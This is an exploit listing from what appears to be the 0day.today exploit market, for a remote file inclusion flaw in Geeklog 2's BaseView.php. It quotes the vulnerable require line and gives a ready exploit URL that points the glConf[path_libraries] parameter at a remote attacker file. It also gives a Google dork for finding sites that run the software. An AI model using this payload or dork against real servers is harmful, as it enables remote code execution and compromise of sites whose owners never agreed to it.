[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Geeklog 2 (BaseView.php) Remote File Inclusion Vulnerability

Author
GoLd_M
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-1477
Category
web applications
Date add
05-02-2007
Platform
unsorted
============================================================
Geeklog 2 (BaseView.php) Remote File Inclusion Vulnerability
============================================================


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
GeekLog <= 2.x (BaseView.php) Remote File Include Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Discovered by GolD_M(Mahmnood_ali) & &  Contact: HackEr_@W.Cn
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
V.CODE: In : [path]/system/libraries/Geeklog/MVCnPHP/BaseView.php
require $glConf['path_libraries'] . 'Geeklog/MVCnPHP/ViewInterface.php';
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:

v.Cc/[path]/system/libraries/Geeklog/MVCnPHP/BaseView.php?glConf[path_libraries]=Evil.txt?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Google d0rk: "powered by geeklog"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




#  0day.today [2024-12-26]  #